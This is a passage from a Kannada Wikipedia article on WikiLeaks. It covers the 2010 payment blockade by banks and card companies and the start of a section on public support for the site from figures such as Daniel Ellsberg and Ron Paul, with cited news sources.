ಒಂದು ಹೇಳಿಕೆಯಲ್ಲಿ ಇದಕ್ಕೆ ಕಾರಣವೆಂದರೆ ಖಾತೆಯನ್ನು ಆರಂಭಿಸುವಾಗ "ಅಸ್ಸಾಂಜೆ ಅವರು ತಮ್ಮ ವಾಸಸ್ಥಳಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ತಪ್ಪು ಮಾಹಿತಿ ನೀಡಿದ್ದಾರೆ." ಎಂದು ತಿಳಿಸಿತು.<ref>{{cite news |url=http://www.bbc.co.uk/news/world-11929034 |title=WikiLeaks: Swiss bank freezes Julian Assange's account|publisher=BBC |date=6 December 2010 |accessdate=6 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಹೇಳಿಕೆ ನೀಡಿ, ಇದಕ್ಕೆ ಕಾರಣವೆಂದರೆ ಅಸ್ಸಾಂಜೆ ಅವರು "ಒಬ್ಬ ವಾಸಸ್ಥಳವಿಲ್ಲದ ನಿರಾಶ್ರಿತರಾಗಿದ್ದು, ಸ್ವಿಟ್ಜರ್ಲೆಂಡ್ ನಲ್ಲಿ ಮನೆಯನ್ನು ಕೊಳ್ಳಲು ಯತ್ನಿಸುತ್ತಿದ್ದು, ತಮ್ಮ ಜಿನೇವಾ ವಕೀಲರ ವಿಳಾಸವನ್ನು ಬ್ಯಾಂಕ್ ಗೆ ಸರಿಹೊಂದಿಸಲು ನೀಡಲಾಗಿತ್ತು" ಎಂದು ಹೇಳಿತು.<ref>{{cite news |last=Weaver |first=Matthew |last2=Adams |first2=Richard |url=https://www.theguardian.com/news/blog/2010/dec/06/wikileaks-us-embassy-cables-live-updates |title=WikiLeaks U.S. embassy cables: live updates (4.52&nbsp;pm) |work=The Guardian |location=UK |date=6 December 2010 |accessdate=6 December 2010}}</ref> ಅದೇ ದಿನ ಮಾಸ್ಟರ್ ಕಾರ್ಡ್ ಕೂಡ "ವಿಕಿಲೀಕ್ಸ್ ಇನ್ನು ಮುಂದೆ ಮಾಸ್ಟರ್ ಕಾರ್ಡ್-ಮುದ್ರೆ ಹೊಂದಿದ ಉತ್ಪಾದನೆಗಳನ್ನು ಒಪ್ಪಿಕೊಳ್ಳುವಂತಿಲ್ಲ ಎಂಬುದನ್ನು ದೃಢಪಡಿಸಿಕೊಳ್ಳಲು ಕ್ರಮ ಕೈಗೊಳ್ಳಲಾಗುತ್ತಿದೆ" ಎಂದು ಘೋಷಿಸಿತು, ಅಲ್ಲದೆ, "ಮಾಸ್ಟರ್ ಕಾರ್ಡ್ ನಿಯಮಗಳು ಗ್ರಾಹಕರು ನೇರವಾಗಿ ಅಥವಾ ಪರೋಕ್ಷವಾಗಿ ಅಕ್ರಮ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ ತೊಡಗುವುದು ಅಥವಾ ಪ್ರೋತ್ಸಾಹಿಸುವ ಯಾವುದೇ ಚಟುವಟಿಕೆಯನ್ನು ಪ್ರತಿಬಂಧಿಸುತ್ತದೆ" ಎಂದು ಸೇರಿಸಿತು.<ref> {{cite news |last=McCullagh |first=Declan |title=MasterCard pulls plug on WikiLeaks payments |publisher=Cnet News |date=6 December 2010 |url=http://news.cnet.com/8301-31921_3-20024776-281.html#ixzz17OXwWn1N |accessdate=6 December 2010}}</ref> ಮುಂದಿನ ದಿನವೇ, ವೀಸಾ ಇಂಕ್. ತಾನು ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಹಣಪಾವತಿಯನ್ನು ಅಮಾನತುಗೊಳಿಸಿದ್ದು, "ಮುಂದಿನ ತನಿಖೆಗಳಿಗಾಗಿ" ಕಾಯ್ದಿರಿಸಲಾಗಿದೆ ಎಂದು ಘೋಷಿಸಿತು.<ref>{{cite news |url=http://www.startribune.com/world/111438579.html |title=Visa says it has suspended all payments to WikiLeaks 'pending further investigation' |agency=Associated Press |date=7 December 2010 |accessdate=7 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಬೆಂಬಲ ನೀಡುವ ಒಂದು ನಡೆಯಾಗಿ ಕ್ಸಿಪ್ ವೈರ್ ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಹಣ ಪಾವತಿಸಲು ಒಂದು ದಾರಿಯನ್ನು ಆರಂಭಿಸಿತು, ಮತ್ತು ಅವರ ಶುಲ್ಕಗಳನ್ನು ಬಳಸದಿರಲು ನಿರ್ಧರಿಸಿತು.<ref>{{cite web |last=Webster |first=Stephen C. |title=MasterCard, Visa shut down electronic donations to WikiLeaks |url=http://www.rawstory.com/rs/2010/12/mastercard-shuts-donations-wikileaks-calling-site-illegal/ |work=The Raw Story |accessdate=10 December 2010 |date=7 December 2010 |archive-date=7 ಫೆಬ್ರವರಿ 2011 |archive-url=https://web.archive.org/web/20110207143305/http://www.rawstory.com/rs/2010/12/mastercard-shuts-donations-wikileaks-calling-site-illegal/ |url-status=dead }}</ref> ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಕ್ರಿಡೆಟ್ ಕಾರ್ಡ್ ಹಣಗಳನ್ನು ಒದಗಿಸಲು ಅನುಕೂಲ ಒದಗಿಸಲು ಒಪ್ಪಿಕೊಂಡಿದ್ದ ಸ್ವಿಸ್ ಆಧಾರಿತ ಐಟಿ ಸಂಸ್ಥೆ ಡಾಟಾಸೆಲ್ ತಾನು ವೀಸಾ ಯುರೋಪ್ ಹಾಗೂ ಮಾಸ್ಟರ್ ಕಾರ್ಡ್ ವಿರುದ್ಧ ವೆಬ್ ಸೈಟ್ ಗೆ ಹಣ ಪಾವತಿಸುವುದನ್ನು ನಿಲ್ಲಿಸಿದ್ದಕ್ಕಾಗಿ ಕಾನೂನು ಕ್ರಮ ಕೈಗೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು.<ref>{{cite news |url=http://www.bbc.co.uk/news/business-11945875 |title=Wikileaks' IT firm says it will sue Visa and Mastercard |agency=BBC News |date=8 December 2010 |accessdate=8 December 2010}}</ref> ಡಿಸೆಂಬರ್ 18 ರಂದು ಬ್ಯಾಂಕ್ ಆಫ್ ಅಮೇರಿಕಾ ತಾನು "ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಇದೆ ಎಂದು ನಾವು ನಂಬಿರುವ ಯಾವುದೇ ರೀತಿಯ ವ್ಯವಹಾರ ನಿರ್ವಹಣೆಯನ್ನು ಮಾಡುವುದಿಲ್ಲ" ಎಂದು ಘೋಷಿಸಿತು ಅಲ್ಲದೆ, "ವಿಕಿಲೀಕ್ಸ್ ಹಣ ಪಾವತಿ ಕಾರ್ಯದಲ್ಲಿ ನಮ್ಮ ಆಂತರಿಕ ಸಿದ್ಧಾಂತಗಳ ಜೊತೆ ಅಸಮಂಜಸ ಚಟುವಟಿಕೆಗಳಲ್ಲಿ... ತೊಡಗಿರಬಹುದು" ಎಂದು ಉಲ್ಲೇಖಿಸಿತು. ವಿಕಿಲೀಕ್ಸ್ ತನ್ನ ಬೆಂಬಲಿಗರಾದ ಬಿಓಎ ಗ್ರಾಹಕರು ಖಾತೆ ಮುಚ್ಚಿ ಉತ್ತೇಜಿಸಲ್ಪಟ್ಟು ಒಂದು ಟ್ವೀಟ್ ನಲ್ಲಿ ಉತ್ತರ ನೀಡಿತು. ವಿಕಿಲೀಕ್ಸ್ ನ ಮುಂದಿನ ದೊಡ್ಡ ಬಿಡುಗಡೆಯ ಗುರಿ ಬ್ಯಾಂಕ್ ಆಫ್ ಅಮೇರಿಕಾ ಎಂದು ನಂಬಲಾಯಿತು.<ref>{{Cite news |title= Bank of America stops handling Wikileaks payments |url= http://www.bbc.co.uk/news/world-us-canada-12028084 |work= [[BBC News]] |date=18 December 2010 |accessdate=18 December 2010}}</ref> ಡಿಸೆಂಬರ್ 7 ರಂದು ''ದಿ ಗಾರ್ಡಿಯನ್'' ಪ್ರಕಟಣೆ ನೀಡಿ ಜನರು ಈಗಲೂ ಕೂಡ ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಜರ್ಮನಿಯ ಕಾಮರ್ಸ್ ಬ್ಯಾಂಕ್ ಕಾಸ್ಸೆಲ್ ಅಥವಾ ಐಲ್ಯಾಂಡಿನ ಲ್ಯಾಂಡ್ಸ್ ಬ್ಯಾಂಕಿ ಅಥವಾ ಮೆಲ್ಬೋರ್ನ್ ವಿಶ್ವವಿದ್ಯವಿದ್ಯಾಲಯದಲ್ಲಿನ ಅಂಚೆ ಕಚೇರಿಯಿಂದ ಅಂಚೆಯ ಮೂಲಕ ಅಥವಾ wikileaks.ch ಸ್ವತ್ತಿಗೆ ಕಾಣಿಕೆ ನೀಡಬಹುದು ಎಂದಿತು.<ref>{{cite news |title= WikiLeaks under attack: the definitive timeline |last=Arthur |first=Charles |url=https://www.theguardian.com/media/2010/dec/07/wikileaks-under-attack-definitive-timeline?intcmp=239 |newspaper=[[The Guardian]] |date=7 December 2010 |accessdate=9 December 2010}}</ref> ಯುಎನ್ ಮಾನವ ಹಕ್ಕಗಳ ರಾಯಭಾರಿ ನವಿ ಪಿಳ್ಳೆ ಹೇಳಿಕೆ ನೀಡಿ, ವೀಸಾ, ಮಾಸ್ಟರ್ ಕಾರ್ಡ್ ಹಾಗೂ ಅಮೇಜಾನ್ ತಮ್ಮ ಸೇವೆಗಳನ್ನು ವಾಪಸ್ ಪಡೆಯುವ ಮೂಲಕ 'ವಿಕಿಲೀಕ್ಸ್ ನ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸುವ ಸ್ವಾತಂತ್ರ್ಯದ ಹಕ್ಕಾದ ''ಇ ಪ್ಲರಿಬಸ್ ಯುನಮ್'' ನ್ನು ಉಲ್ಲಂಘಿಸುತ್ತಿದೆ ಎಂದರು.<ref>"[http://www.unmultimedia.org/tv/unifeed/d/16541.html UNifeed Geneva/Pillay] {{Webarchive|url=https://web.archive.org/web/20120324214612/http://www.unmultimedia.org/tv/unifeed/d/16541.html |date=24 ಮಾರ್ಚ್ 2012 }}." UN Website. ದಿನಾಂಕ 27 ಡಿಸೆಂಬರ್‌ 2008ರಂದು ಪುನರ್ಪಡೆಯಲಾಯಿತು.</ref> ಆಪ್ಪಲ್ ತನ್ನ ಆಪ್ ಸ್ಟೋರ್ ನಿಂದ ರಾಯಭಾರ ಸೂಕ್ಷ್ಮತಂತಿಯನ್ನು ಬಹಿರಂಗಪಡಿಸುತ್ತಿದ್ದ ಒಂದು ಉಪಯೋಗವನ್ನು ತೆಗೆದು ಹಾಕಿದೆ ಎಂದು ಡಿಸೆಂಬರ್ ೨೧ ರಂದು ಮ್ಯಾಧ್ಯಮ ವರದಿ ನೀಡಿತು.<ref>{{cite news |title= Apple pulls Wikileaks app |last=Mitchell |first=Stewart |url=http://www.pcpro.co.uk/news/363877/apple-pulls-wikileaks-app |newspaper=pcpro.co.uk |date=21 December 2010 |accessdate=21 December 2010}}</ref> ತನ್ನ 'ಪ್ರಾಥಮಿಕ ಅಂದಾಜಿಗೆ ಅನುಸಾರವಾಗಿ... ವಿಕಿಲೀಕ್ಸ್ ಗೆ ಅಮೇರಿಕಾದ ಅಧ್ಯಕ್ಷೀಯ ಕಾರ್ಯನಿರ್ವಹಣೆ ಕಚೇರಿಯು ಕಾರ್ಯನಿರ್ವಾಹಕ ಇಲಾಖೆ ಹಾಗೂ ಏಜೆನ್ಸಿಯ ಮುಖ್ಯಸ್ಥರಿಗೆ ಒಂದು ಅನೌಚಾರಿಕ ಪತ್ರ ಬರೆದು ಅವರು 'ಆಂತರಿಕ ಭಯ ಹೊಂದಿದ್ದಾರೆಯೇ' ಎಂದು ಪ್ರಶ್ನಿಸಿತು.<ref>{{cite web |url=http://msnbcmedia.msn.com/i/msnbc/sections/news/OMB_Wiki_memo.pdf |title=Memorandum for the Heads of Executive Departments and Agencies (M-11-08) |publisher=Executive Office of the President |accessdate=5 January 2011 |archive-date=8 ಜನವರಿ 2011 |archive-url=https://web.archive.org/web/20110108013356/http://msnbcmedia.msn.com/i/msnbc/sections/news/OMB_Wiki_memo.pdf |url-status=dead }}</ref><ref>{{cite web |url=http://www.bbc.co.uk/news/world-us-canada-12117113 |title=US urges action to prevent insider leaks |publisher=BBC |accessdate=5 January 2011}}</ref> == ಸ್ವೀಕೃತಿ == {{Split section|Reception of WikiLeaks|Talk:WikiLeaks#Split off reaction|date=January 2011}} ===ಬೆಂಬಲ=== [[File:Daniel Ellsberg 2006.jpg|thumb|upright|ಡೆನಿಯಲ್ ಎಲ್ಸಬರ್ಗ್ (2006) ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಬೆಂಬಲಿಸಿ ಹಲವಾರು ಮಾಧ್ಯಮ ಸಂದರ್ಶನಗಳನ್ನು ಮಾಡಿದ್ದಾರೆ.<ref name=daniel/><ref name=daniel2/>]] ಜುಲೈ 2010ರಲ್ಲಿ ಶಾಂತಿಯ ಅನುಭವಿತರು ರಾಷ್ಟ್ರಪತಿ ಮೈಕ್ ಫರ್ನರ್ ಒಂದು ಸಮೂಹ ಜಾಲತಾಣದಲ್ಲಿ ಹೀಗೆ ಸಂಪಾದಿಸಿದರು "ವಿಕಿಲೀಕ್ಸ್ ಅಥವಾ ದಾಖಲೆಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿದ ಸೈನಿಕ ಅಥವಾ ಸೈನಿಕರು ಮಾಹಿತಿಯನ್ನು ಬಯಲು ಮಾಡಿರುವುದಕ್ಕೆ ಅವರ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸಬಾರದು. ನಾವು ಅವರಿಗೆ ಪುರಸ್ಕಾರ ನೀಡ ಬೇಕು."<ref>{{cite web |url=http://www.veteransforpeace.org/Wikileaks_will_spark_resistance.vp.html |title=WikiLeaks revelations will spark massive resistance to Afghanistan War |publisher=Veterans For Peace |date=27 July 2010 |accessdate=1 December 2010 |archive-date=3 ನವೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101103021143/http://www.veteransforpeace.org/Wikileaks_will_spark_resistance.vp.html |url-status=dead }}</ref> ಸಾಕ್ಷ್ಯಚಿತ್ರದ ಚಲನಚಿತ್ರೋದ್ಯಮಿ ಜಾನ್ ಪಿಲ್ಗರ್ ಆಗಸ್ಟ್‌ 2010ರ ಒಂದು ಸಂಪಾದಕೀಯವನ್ನು ಆಸ್ಟ್ರೇಲಿಯನ್ ಪ್ರಕಾಶನೆಯ ''ಗ್ರೀನ್ ಲೆಫ್ಟ್‌'' ನಲ್ಲಿ "ವಿಕಿಲೀಕ್ಸ್ ಮಸ್ಟ್ ಬಿ ಡಿಫೆಂಡಡ್" ಎಂಬ ಶೀರ್ಷಿಕೆಯಲ್ಲಿ ಬರೆದರು. ಅದರಲ್ಲಿ, ಪಿಲ್ಗರ್ ಹೇಳಿದ್ದಾರೆ ವಿಕಿಲೀಕ್ಸ್ "ಸಾರ್ವಜನಿಕ ಹೊಣೆಗಾರಿಕೆ"ಯ ಆಸಕ್ತಿಯನ್ನು ತೋರಿಸುತ್ತದೆ ಮತ್ತು "ಪ್ರಧಾನ ವಿಭಾಗ ... ಬರಿ ನಿಷ್ಠುರವಾದ ಹಾಗೂ ಅಪಪ್ರಚಾರ ಮಾಡುವ ಶಕ್ತಿ ಹೇಳಿದ ಕಾರ್ಯಗಳನ್ನು ತೆಗೆದುಕೊಳ್ಳುವುದಕ್ಕೆ ಮೀಸಲಿಡಲಾಗಿದೆ."<ref>{{cite web|author=|url=http://www.greenleft.org.au/node/45225 |title=John Pilger: Wikileaks must be defended &#124; Green Left Weekly |publisher=Greenleft.org.au |date=29 August 2010 |accessdate=1 December 2010}}</ref> ಡೆನಿಯಲ್ ಎಲ್ಸ್‌ಬರ್ಗ್, 1971ರಲ್ಲಿ ಪೆಂಟಗನ್ ಪತ್ರಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದವರು, ವಿಕಿಲೀಕ್ಸ್‌ ಅನ್ನು ಪುನರಾವರ್ತಿಸುವ ರಕ್ಷಕರಾಗಿದ್ದಾರೆ. ನವೆಂಬರ್ 2010ರ ಯುಎಸ್ ರಾಜತಾಂತ್ರಿಕ ತಂತಿ ವಾರ್ತೆಯ ಪ್ರಕಟಣೆಯ ನಂತರ, ಜಾಲತಾಣವು ಯುಎಸ್ ಸೈನ್ಯ ಸಿಬ್ಬಂದಿ ಮತ್ತು ಗುಪ್ತಮಾಹಿತಿ ಸ್ವತ್ತುಗಳ ಜೀವವನ್ನು ವಿಪತ್ತಿಗೆ ಸಿಕ್ಕಿಸಿದೆ ಎಂಬ ವಿಮರ್ಶೆಯನ್ನು ತಳ್ಳಿಹಾಕುತ್ತಾ, ಎಲ್ಸಬರ್ಗ್ "ಯಾವುದೇ ಒಬ್ಬ ಸೈನಿಕ ಅಥವಾ ಮಾಹಿತಿಗಾರನು ವಿಕಿಲೀಕ್ಸ್‌ನ ಯಾವುದೇ ಪ್ರಕಟಣೆಯಿಂದ ಆಪತ್ತಿನಲ್ಲಿ ಇಲ್ಲ. ಆ ಅಪಾಯವನ್ನು ಬಹುಮಟ್ಟಿಗೆ ಅತಿಯಾಗಿ ಉಬ್ಬಿಸಲಾಗಿದೆ."<ref name="daniel">{{cite web|author=Get your FREE! Nation User Name |url=http://www.thenation.com/blog/156709/greg-mitchell-and-daniel-ellsberg-wikileaks-document-dump |title=Greg Mitchell and Daniel Ellsberg on the WikiLeaks Document Dump |publisher=The Nation |date=|accessdate=1 December 2010}}</ref> ಪ್ರತಿಯಾಗಿ ಸರ್ಕಾರ ಸಾಧಿಸಿ ಹೇಳಿದ್ದು "ಯಾವುದೇ ತರಹದ ಬಯಲಾದಾಗ ಒಂದು ಲೇಖನವನ್ನು ಹೂರ ತೆಗೆಯುತ್ತಾರೆಂದು" ಎಲ್ಸಬರ್ಗ್ ಟಿಪ್ಪಣಿಸಿದರು.<ref name="daniel2">{{cite web|url=http://www.bbc.co.uk/news/world-11879951 |title=WikiLeaks: view of man behind Pentagon Papers leak |publisher=BBC News |date=|accessdate=1 December 2010}}</ref> ಯುಎಸ್ನ ರಾಜತಾಂತ್ರಿಕ ತಂತಿ ವಾರ್ತೆಯ ಬಿಡುಗಡೆಯ ನಂತರ, ಇದನ್ನು ಹಲವು ಮಾದ್ಯಮ ವರದಿಗಳು ಎಲ್ಸಬರ್ಗ್‌ನ ತಪ್ಪು ಚಟುವಟಿಗಳ ವಿರುದ್ಧ ಕಾಳಜಿ ತೋರಿಸುವ ಬಗೆಯಿಂದ ವಿಭಿನ್ನ ಎಂದು ಹೇಳಿತು,<ref>{{cite web |url=http://www.cbsnews.com/stories/2010/12/07/opinion/main7124354.shtml |title=Why Julian Assange Is No Daniel Ellsberg |publisher=CBS News |date=7 December 2010 |accessdate=11 December 2010 |archive-date=10 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101210035231/http://www.cbsnews.com/stories/2010/12/07/opinion/main7124354.shtml |url-status=dead }}</ref> "ವಿಕಿಲೀಕ್ಸ್ ಹಾಗೂ ಜೂಲಿಯನ್ ಅಸ್ಸಾಂಜೆ ವಿರುದ್ಧ ಈಗ ಮಾಡಿದ ಪ್ರತಿಯೊಂದು ಧಾಳಿಯು ನನ್ನ ಹಾಗೂ ಪೆಂಟಗನ್ ಪತ್ರಗಳ ಈಗಿನ ಬಿಡುಗಡೆಯ ವಿರುದ್ಧ ಎಂದು ಅನಿಸಲಾಗುತ್ತದೆ" ಎಂದು ಎಲ್ಸಬರ್ಗ್ ಘೋಷಿಸಿದರು.<ref name="daniel3">{{cite web|url=http://www.sfgate.com/cgi-bin/blogs/opinionshop/detail?entry_id=78596#ixzz17pMGLvv4 |title=Opinion Shop: Daniel Ellsberg praises WikiLeaks |publisher=SFGate |date=7 December 2010|accessdate=11 December 2010}}</ref> 3 ಡಿಸೆಂಬರ್ 2010 ರಂದು ಟೆಕ್ಸಾಸ್‌ನ ಗಣತಂತ್ರವಾದಿಯಾದ ಮಹಾಸಭೆಯ ರೊನ್ ಪೌಲ್, ಫೋಕ್ಸ್ ಬಿಸಿನೆಸ್‌ನ ಒಂದು ಸಂದರ್ಶನದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಸ್ಥಾಪಕ ಜೂಯಾನ್ ಅಸ್ಸಾಂಜೆ‌ ಅನ್ನು ಬೆಂಬಲಿಸುತ್ತಾ ಹೇಳಿದರು; "ಒಂದು ಮುಕ್ತ ಸಮಾಜದಲ್ಲಿ ನಮಗೆ ಸತ್ಯವನ್ನು ತಿಳಿದುಕೊಳ್ಳುವ ಹಕ್ಕು ಇದೆ". "ಸತ್ಯ ದೇಶದ್ರೋಹ ಆಗುವಂತಹ ಒಂದು ಸಮಾಜವದ್ದಲ್ಲಿ, ನಾವು ದೊಡ್ಡ ತೊಂದರೆಯಲ್ಲಿ ಇದ್ದಿವಿ." "''ದಿ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ಅಥವಾ ಇದನ್ನು ಪ್ರಕಟಿಸುವವರ ವಿರುದ್ಧ ನಾವು ಏಕೆ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸುವುದಿಲ್ಲ?" ಎಂದು ಪೌಲ್ ಹೇಳಿದರು.<ref name="ron">{{cite news |title=Ron Paul Defends WikiLeaks Founder's Rights |first=Mary |last=Dooe |newspaper=CBS News |date=3 December 2010 |url=http://www.cbsnews.com/8301-503544_162-20024605-503544.html |accessdate=4 December 2010 |archiveurl=https://archive.today/20121205235524/http://www.cbsnews.com/8301-503544_162-20024605-503544.html |archivedate=5 ಡಿಸೆಂಬರ್ 2012 |url-status=live }}</ref> ಯುಎಸ್ನ ಪ್ರತಿನಿಧಿಗಳ ಸಭೆಯ ಇನ್ನೋಂದು ಭಾಷಣದಲ್ಲಿ ಪೌಲ್ ಪುನಃ ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಸತ್ಯವನ್ನು ಬಯಲು ಮಾಡಿರುವ ವಿಮರ್ಶೆಯಿಂದ ರಕ್ಷಿಸಿದರು ಮತ್ತು ಯುಎಸ್ ಆಡಳಿತವನ್ನು "ಸುಳ್ಳು ಹೇಳುವುದು ದೇಶಭಕ್ತಿಯಲ್ಲ" ಎಂದು ಮುನ್ನೆಚ್ಚರಿಕೆ ನೀಡಿತು.<ref>{{cite news |title=Ron Paul: Lying is Not Patriotic |first= |last= |publisher=MoxNews.com (Youtube video) |date=December 2010 |url=https://www.youtube.com/watch?v=ywoInPNXZJk |accessdate=10 December 2010}}</ref> ಗಣತಂತ್ರವಾದಿ ಮಹಾಸಭೆಯ ಜತೆಗಾರ ಫ್ಲೋರಿಡದ ಕೋನಿ ಮ್ಯಾಕ್ IV ಕೂಡ ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಹೊಗಳಿದರು, "ನಾವು ಯಾವುದೇ ರೀತಿಯಲ್ಲಿ ಆ ಜ್ಞಾನವನ್ನು ತಿಳಿದುಕೊಂಡರು ಪರವಾಗಿಲ್ಲ", ಅಮೇರಿಕನ್‌ರಿಗೆ ಲೀಕ್ಸ್‌ನ ವಿಷಯವನ್ನು ತಿಳಿದುಕೊಳ್ಳುವ ಹಕ್ಕಿದೆ ಎಂದರು.<ref>{{cite web|last=Levey |first=Cooper |url=http://floridaindependent.com/16029/rep-connie-mack-americans-have-a-right-to-know-contents-of-wikileaks-dump |title=Rep. Mack: Americans ‘have a right to know’ contents of WikiLeaks dump |publisher=Floridaindependent.com |date=|accessdate=5 December 2010}}</ref> ಅಸ್ಟ್ರೇಲಿಯಾದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಜುಲಿಯಾ ಗಿಲಾರ್ಡ್‌ರಿಗೆ ಬರೆದ ಒಂದು ಪತ್ರದಲ್ಲಿ ಆಸ್ಟ್ರೇಲಿಯದ ಅತಿ ಹಿರಿಯ ಹಾಗೂ ಉಚ್ಚ-ಪಾರ್ಶ್ವನೋಟದ ಮಾದ್ಯಮ ವೃತ್ತಿನಿರತರು ತಮ್ಮ ಬೆಂಬಲವನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಪರ ತೋರಿಸಿದರು.<ref>{{cite web |title=Statement from Australian Newspaper Editors, Television and Radio Directors |url=http://www.alliance.org.au/documents/101213_letter_wikiLeaks_support.pdf |work=Alliance Online |publisher=Media, Entertainment & Arts Alliance |accessdate=18 December 2010 |date=13 December 2010 |archive-date=22 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101222021235/http://www.alliance.org.au/documents/101213_letter_wikiLeaks_support.pdf |url-status=dead }}</ref> ಈ ಪತ್ರವನ್ನು ವಾಕ್ಲಿ ಸಂಸ್ಥೆಯು ಉಪಕ್ರಮಿಸಿತು, ಇವರು ವಾರ್ಷಿಕವಾಗಿ ಪತ್ರಿಕೋದ್ಯಮದಲ್ಲಿ ಉತ್ಕೃಷ್ಟತೆಗೆ ವಾಕ್ಲಿ ಪ್ರಶಸ್ಥಿಗಳನ್ನು ನೀಡುತ್ತಾರೆ. ಈ ಪತ್ರವನ್ನು "ವಾಕ್ಲಿ ಸಲಹೆ ಸಮಿತಿಯ ಹತ್ತು ಸದಸ್ಯರು ಅಲ್ಲದೆ ಪ್ರಮುಖ ಆಸ್ಟ್ರೇಲಿಯನ್ ವಾರ್ತಾಪತ್ರಿಕೆ ಹಾಗೂ ವಾರ್ತಾ ಜಾಲತಾಣಗಳ ಸಂಪಾದಕರು ಮತ್ತು ದೇಶದ ಮೂರು ವ್ಯಾಪಾರಿ TV ಸಂಪರ್ಕಗಳ ಹಾಗೂ ಎರಡು ಸಾರ್ವಜನಿಕ ಸುದ್ದಿಪ್ರಸಾರಕರ ವಾರ್ತಾ ಅಧ್ಯಕ್ಷರು" ಸಹಿ ಮಾಡಿದರು. ಅವರ ಹುದ್ದೆ (ಪತ್ರದ ಒಂದು ಉದ್ಧೃತಭಾಗ) ಹೀಗೆ ಸಂಕ್ಷೇಪಿಸಲಾಗಿದೆ:<blockquote>"ಮೂಲಸ್ವರೂಪದಲ್ಲಿ, ವಿಕಿಲೀಕ್ಸ್, ಅಧಿಕೃತ ರಹಸ್ಯಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸುವ ಗುರಿ ಹೊಂದಿದ ಒಂದು ಸಂಸ್ಥೆ, ಮಾದ್ಯಮಗಳು ಪ್ರತಿಬಾರಿ ಮಾಡುವುದನ್ನೆ ಇದು ಕೂಡ ಮಾಡುತ್ತಿದೆ: ಸರ್ಕಾರ ರಹಸ್ಯವಾಗಿಡಬಯಸುವ ಅಂಶಗಳ ಮೇಲೆ ಬೇಳಕು ಚೆಲ್ಲುವುದು.</blockquote> ಇಂತಹ ಅಂಶಗಳು ಅವರ ಹಿಡಿತದಲ್ಲಿ ಬಂದರೆ ಇದನ್ನು ಜವಾಬ್ದಾರಿಯುತವಾಗಿ ವರದಿಸುವುದು ಮಾದ್ಯಮದ ಕರ್ತವ್ಯ. ದುರಾಕ್ರಮಣದಿಂದ ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ಮುಚ್ಚುವ ಪ್ರಯತ್ನ, ಅಧಿಕೃತ ಲೀಕ್ಸ್ ಅನ್ನು ಪ್ರಕಟಿಸುವವರ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸಲಾಗುವುದು ಎಂದು ಬೆದರಿಕೆ ಕುಡುವುದು, ಮತ್ತು ವಿಕಿಲೀಕ್ಸ್ ಜೊತೆ ವ್ಯಾಪಾರ ಮಾಡುವ ಕಂಪನಿಗಳನ್ನು ತಡೆಯಲು ಒತ್ತಾಯಿಸುವುದು, ಮುಕ್ತ ಹಾಗೂ ಭಯವಿಲ್ಲದ ಮುದ್ರಣದ ಆಧಾರದ ಮೇಲಿರುವ ಪ್ರಜಾಪ್ರಭುತ್ವಕ್ಕೆ ಗಂಭೀರ ಅಪಾಯ".<ref>Walkeys [http://www.walkleys.com/news/1076/ "Australian Media's Finest Defend ವಿಕಿಲೀಕ್ಸ್ " 13 ಡಿಸೆಂಬರ್ 2010] The Walkey Foundation</ref> ನವೆಂಬರ್ 2010ರ ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರದ ರಾಜತಾಂತ್ರಿಕ ತಂತಿವಾರ್ತೆಯ ಬಯಲಿನ ನಂತರ ''ದಿ ಅಟ್ಲಾಂಟಿಕ್'' , ಒಂದು ಸಿಬ್ಬಂದಿವರ್ಗದ ಸಂಪಾದನೆಯಲ್ಲಿ, ಅಭಿಪ್ರಾಯ ಪಟ್ಟಿದ್ದು "ವಿಕಿಲೀಕ್ಸ್, ವರದಿಗಾರರಿಗೆ ಹಾಗೂ ಮಾನವ ಹಕ್ಕುಗಳ ವಕಾಲತ್ತು ವಹಿಸುವವರಿಗೆ ವಿಶ್ವವ್ಯಾಪಕ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಪದ್ಧತಿಯನ್ನು ಅನುಕೂಲವಾಗಿ ನಿಭಾಯಿಸಲು ಒಂದು ಶಕ್ತಿಶಾಲಿ ಹೊಸ ದಾರಿ ಮತ್ತು ಅಮೇರಿಕನ್ ಮುದ್ರಣವನ್ನು ನಿಧಾನವಾಗಿ ಉಸಿರುಕಟ್ಟಿಸುತ್ತಿರುವ ಸರ್ಕಾರ ಹಾಗೂ ಸಂಘಗಳ ಗೋಪ್ಯತೆಯ ಭಾರಿ ಮುಖಪರದೆಯನ್ನು ಒಡೆಯಲು ಕೂಡ." ವಿಕಿಲೀಕ್ಸ್ ಸ್ವಯಂ ಸೇವಕರ ಮೇಲೆ ಶಾಸನಾತ್ಮಕ ಹಾಗೂ ದೈಹಿಕ ಬೆದರಿಕೆಗಳನ್ನು "ನಾಚಿಕೆಗೇಡಿನದು" ಎಂದು ಪತ್ರಿಕೆ 